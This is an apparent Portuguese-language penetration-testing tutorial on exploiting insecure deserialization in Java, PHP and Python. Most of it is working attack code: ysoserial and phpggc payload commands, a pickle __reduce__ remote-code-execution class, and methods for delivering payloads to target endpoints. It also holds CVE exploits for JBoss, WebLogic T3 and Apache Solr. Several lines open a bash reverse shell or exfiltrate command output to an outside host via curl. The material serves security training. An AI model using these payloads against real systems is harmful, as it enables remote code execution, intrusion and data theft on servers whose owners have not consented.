✅ Compreensão fundamental

• Identificação e análise de formatos de serialização
• Mecanismos de injeção de objetos em múltiplas linguagens
• Teoria de cadeias de gadgets e princípios de construção
• Geração automatizada de payloads e personalização

🔍 Habilidades avançadas

• Uso avançado de ysoserial e phpggc
• Desenvolvimento de cadeias de gadgets personalizadas
• Técnicas de bypass de WAF e filtros
• Exploração blind de desserialização

Vetores de ataque comuns

Onde vulnerabilidades de desserialização tipicamente ocorrem

Dados de requisição/resposta HTTP
Armazenamento de sessão e cookies
Processamento de filas de mensagens
Armazenamento em cache e banco de dados
Troca de dados de API
Processamento de upload de arquivos

Riscos específicos por plataforma

Mecanismos de serialização por tecnologia

Java: ObjectInputStream, RMI, JMS
PHP: unserialize(), sessions, cache
Python: pickle, cPickle, dill
.NET: BinaryFormatter, XmlSerializer
Ruby: Marshal.load, YAML.load
Node.js: node-serialize, JSON parsing

Capacidades de exploração

O que os atacantes podem alcançar

Execução remota de código imediata
Acesso e manipulação do sistema de arquivos
Sequestro de conexão de banco de dados
Reconhecimento de rede e pivoteamento
Corrupção de memória e ataques DoS
Bypass de autenticação e sessão

Entendendo cadeias de gadgets

Cadeias de gadgets são sequências de classes Java existentes encontradas em bibliotecas comuns que, quando encadeadas durante a desserialização, resultam em execução de código arbitrário. Pense nelas como dominós - cada classe aciona a próxima até que o dominó final execute seu comando. ysoserial contém dezenas dessas cadeias pré-construídas direcionadas a bibliotecas Java populares como Apache Commons Collections, Spring Framework e muitas outras.

# Baixe e configure o ysoserial (essencial para exploração Java)
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar

# Liste todas as cadeias de gadgets disponíveis (cada uma visa bibliotecas diferentes)
java -jar ysoserial-all.jar 2>&1 | grep "^     "
# Você verá cadeias como: CommonsCollections1, Spring1, Hibernate1, etc.
# Cada nome indica a biblioteca vulnerável e número da variante

# CommonsCollections1 - Visa Apache Commons Collections 3.x
# Esta é a cadeia de gadgets mais famosa e amplamente aplicável
java -jar ysoserial-all.jar CommonsCollections1 'wget http://hackerdna.com/rce-test'
# Como funciona: Usa InvokerTransformer.transform() -> Class.getMethod() -> Method.invoke()
# Resultado final: Executa seu comando via Runtime.getRuntime().exec()

# Spring1 - Explora o PropertyPathFactoryBean do Spring Framework
# Cria conexão de shell reverso de volta para sua máquina
java -jar ysoserial-all.jar Spring1 'bash -c "bash -i >& /dev/tcp/hackerdna.com/4444 0>&1"'
# Por que Spring1? Visa aplicações usando Spring Core (extremamente comum)
# O payload aproveita os mecanismos de binding de propriedades do Spring

# URLDNS - O payload de reconhecimento "seguro"
java -jar ysoserial-all.jar URLDNS "http://hackerdna.com/dns-test"
# Propósito especial: Apenas aciona consulta DNS, sem execução de código
# Perfeito para: Confirmar que desserialização existe sem causar danos
# Usa: HashMap.put() -> URL.hashCode() -> URLStreamHandler.getHostAddress()

# Personalização avançada de payload
java -jar ysoserial-all.jar CommonsCollections1 'curl -X POST http://hackerdna.com/exfil -d "$(whoami)"'
# Este payload: Executa comando E exfiltra o resultado via HTTP POST
# Demonstra: Como encadear comandos para extração de dados

# Testando contra vários endpoints de aplicação
# Método 1: POST HTTP direto para endpoint de desserialização
curl -X POST -H "Content-Type: application/x-java-serialized-object" \\
     --data-binary @payload.ser http://<target>/deserialize

# Método 2: Via upload de arquivo (se a app desserializa arquivos enviados)
curl -X POST -F "file=@payload.ser" http://<target>/upload

# Método 3: Através de cookies (se dados de sessão são serializados)
curl -b "JSESSIONID=$(base64 -w 0 payload.ser)" http://<target>/dashboard

Dica profissional: Diferentes cadeias de gadgets visam diferentes versões e configurações de bibliotecas. Sempre comece com URLDNS para detecção, depois tente CommonsCollections1 (mais universal), seguido por cadeias específicas de framework como Spring1 ou Hibernate1 baseado no reconhecimento do seu alvo.

Métodos mágicos PHP e injeção de objetos

Os métodos mágicos do PHP são chamados automaticamente durante eventos do ciclo de vida do objeto. O método __wakeup() executa durante a desserialização, __destruct() durante a destruição do objeto, e __toString() quando objetos são convertidos para strings. Atacantes exploram esses métodos criando objetos serializados que acionam operações perigosas quando esses métodos executam. Frameworks PHP frequentemente têm hierarquias de objetos complexas que podem ser encadeadas para alcançar execução de código.

# Instale o phpggc (essencial para injeção de objetos PHP)
git clone https://github.com/ambionics/phpggc.git
cd phpggc

# Liste todas as cadeias de gadgets disponíveis por framework
./phpggc -l
# Você verá cadeias como: Laravel/RCE1, Symfony/RCE4, Doctrine/RCE1, etc.
# Formato: Framework/TipoExploit+Versão

# Entendendo o formato de serialização PHP primeiro
echo 'O:4:"User":1:{s:4:"name";s:5:"admin";}' | php -r 'var_dump(unserialize(file_get_contents("php://stdin")));'
# O:4:"User" = Objeto da classe "User" com 4 caracteres no nome
# 1:{...} = Objeto tem 1 propriedade
# s:4:"name" = Propriedade string "name" (4 caracteres)
# s:5:"admin" = Valor string "admin" (5 caracteres)

# Laravel/RCE1 - Visa Laravel Framework (framework PHP mais popular)
./phpggc Laravel/RCE1 system "whoami"
# Como funciona: Explora o método PendingBroadcast.__destruct() do Laravel
# Cadeia: PendingBroadcast.__destruct() -> call_user_func() -> system()
# Resultado: Executa comandos do sistema quando o objeto é destruído

# Symfony/RCE4 - Visa componentes do Symfony Framework
./phpggc Symfony/RCE4 system "id"
# Caminho de exploração: Usa a classe Process do Symfony para execução de comandos
# Aciona através de: __destruct() -> Process.start() -> shell_exec()

# Avançado: Comando personalizado com exfiltração de dados
./phpggc Laravel/RCE1 system 'curl -X POST http://hackerdna.com/exfil -d "host=$(hostname)&user=$(whoami)&os=$(uname -a)"'
# Este payload: Coleta informações do sistema e envia para seu servidor
# Demonstra: Como combinar reconhecimento com exploração

# Codificação base64 para transmissão HTTP (requisito muito comum)
./phpggc Laravel/RCE1 system "curl http://hackerdna.com/callback" -b
# Por que base64? Dados serializados PHP contêm caracteres especiais que quebram HTTP
# A flag -b lida com a codificação automaticamente para entrega web

# Codificação URL para injeção em parâmetros GET
./phpggc Symfony/RCE4 system "whoami" -u
# Use quando injetando payloads através de parâmetros de URL
# Exemplo: http://target.com/page.php?data=PAYLOAD_CODIFICADO

# Testando contra diferentes pontos de injeção
# Método 1: POST direto para endpoint de unserialize
curl -X POST -d "payload=$(./phpggc Laravel/RCE1 system 'id' -b)" \\
     http://<target>/unserialize.php

# Método 2: Através de cookies de sessão (se dados de sessão são desserializados)
PHP_PAYLOAD=$(./phpggc Laravel/RCE1 system 'whoami' -b)
curl -b "PHPSESSID=$PHP_PAYLOAD" http://<target>/dashboard.php

# Método 3: Via dados de formulário (comum em preferências de usuário, carrinhos de compra)
curl -X POST -d "user_prefs=$(./phpggc Symfony/RCE4 system 'id' -b)" \\
     http://<target>/save_preferences.php

# Método 4: Através de injeção em cache/Redis (se dados em cache são desserializados)
curl -X POST -d "cache_key=user123&cache_data=$(./phpggc Laravel/RCE1 system 'ps aux' -b)" \\
     http://<target>/cache_store.php

Estratégia específica por framework: Sempre identifique o framework alvo primeiro (verifique headers HTTP, páginas de erro ou código fonte da página). Laravel e Symfony são os mais comuns, mas phpggc suporta 20+ frameworks incluindo Doctrine, CodeIgniter, CakePHP e WordPress. Cada framework tem diferentes caminhos de exploração de métodos mágicos e classes disponíveis.

O método __reduce__: o calcanhar de Aquiles do Python

Objetos Python podem definir um método __reduce__ que diz ao pickle como reconstruí-los. Este método retorna uma tupla contendo um callable (função) e seus argumentos. Quando o pickle desserializa o objeto, ele automaticamente chama a função com esses argumentos. Este mecanismo, projetado para reconstrução legítima de objetos, torna-se um caminho direto para execução de código quando explorado.

# Entendendo o formato pickle primeiro
import pickle

# Serialização normal de objeto
data = {'username': 'admin', 'role': 'user'}
serialized = pickle.dumps(data)
print(f"Dados pickle normais: {serialized}")
# Mostra como dados legítimos parecem quando serializados

# Payload RCE usando método __reduce__
class RCE:
    def __reduce__(self):
        # Retorna: (função_a_chamar, tupla_argumentos)
        import os
        return (os.system, ('whoami',))
        # Quando desserializado: os.system('whoami') executa automaticamente

# Gere o payload malicioso
import os
malicious_object = RCE()
payload = pickle.dumps(malicious_object)
print(f"Payload malicioso: {payload.hex()}")

# Codificação base64 para transmissão HTTP
import base64
encoded_payload = base64.b64encode(payload).decode()
print(f"Codificado em base64: {encoded_payload}")

# Testando contra vários endpoints de aplicação Python
import requests

# Método 1: POST direto para endpoint pickle
response = requests.post('http://<target>/api/deserialize',
                        json={'data': encoded_payload})

# Método 2: Através de sistemas Redis/cache (se eles serializam dados com pickle)
redis_data = {
    'action': 'store',
    'key': 'user_session_123',
    'value': encoded_payload
}
response = requests.post('http://<target>/cache', json=redis_data)

# Método 3: Via upload de arquivo (se arquivos enviados são desserializados)
files = {'upload': ('data.pkl', payload, 'application/octet-stream')}
response = requests.post('http://<target>/upload', files=files)

# Método 4: Através de endpoints de modelo ML (comum em apps de data science)
ml_data = {
    'model': 'user_behavior',
    'serialized_data': encoded_payload
}
response = requests.post('http://<target>/api/predict', json=ml_data)

Insight crítico: Diferente de Java ou PHP que requerem cadeias de gadgets, Python pickle dá acesso direto a qualquer função Python. Isso o torna extremamente perigoso mas também muito confiável. Endpoints vulneráveis comuns incluem aplicações ML/AI, sistemas de cache, armazenamento de sessão e qualquer serviço web Python que aceita objetos serializados. Sempre verifique uso de pickle em sessões Flask, backends de cache Django e APIs de data science.

# Exploração de desserialização JBoss CVE-2015-7501
# Versões vulneráveis: JBoss AS 4.x, 5.x, 6.x e EAP 4.x, 5.x, 6.x

# Gere payload ysoserial para CommonsCollections1
java -jar ysoserial-all.jar CommonsCollections1 \\
  'wget http://hackerdna.com/jboss-rce' > jboss_payload.ser

# Explore via JMXInvokerServlet (HTTP POST)
curl -X POST -H "Content-Type: application/x-java-serialized-object" \\
  --data-binary @jboss_payload.ser \\
  http://<target>:8080/invoker/JMXInvokerServlet

# Exploração alternativa via RMI
java -cp ysoserial-all.jar ysoserial.exploit.RMIRegistryExploit \\
  <target> 1099 CommonsCollections1 'curl http://hackerdna.com/rmi-callback'

# Exploração de desserialização WebLogic CVE-2015-4852 T3
# Versões vulneráveis: 10.3.6.0, 12.1.2.0, 12.1.3.0, 12.2.1.0

# Gere payload ysoserial
java -jar ysoserial-all.jar CommonsCollections1 \\
  'bash -c "curl http://hackerdna.com/weblogic-callback"' > t3_payload.ser

# Handshake do protocolo T3
echo -en "t3 12.2.1\nAS:255\nHL:19\nMS:10000000\n\n" > t3_handshake.txt

# Explore via protocolo T3 (porta 7001 padrão)
cat t3_handshake.txt t3_payload.ser | nc <target> 7001

# Alternativa usando ferramentas de exploração WebLogic
python weblogic_exploit.py --target <target> --port 7001 \\
  --payload CommonsCollections1 --cmd "whoami"

# Exploração Apache Solr CVE-2017-12629
# Versões vulneráveis: 1.2 a 7.0.1

# Método 1: Manipulação da Config API
curl -X POST "http://<target>:8983/solr/hackerdna/config" \\
  -H "Content-Type: application/json" \\
  -d '{
    "add-listener": {
      "event": "postCommit",
      "name": "hackerdna",
      "class": "solr.RunExecutableListener",
      "exe": "sh",
      "dir": "/bin/",
      "args": ["-c", "curl http://hackerdna.com/solr-rce"]
    }
  }'

# Método 2: RCE direto via componente vulnerável
curl "http://<target>:8983/solr/hackerdna/select?q=1&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end"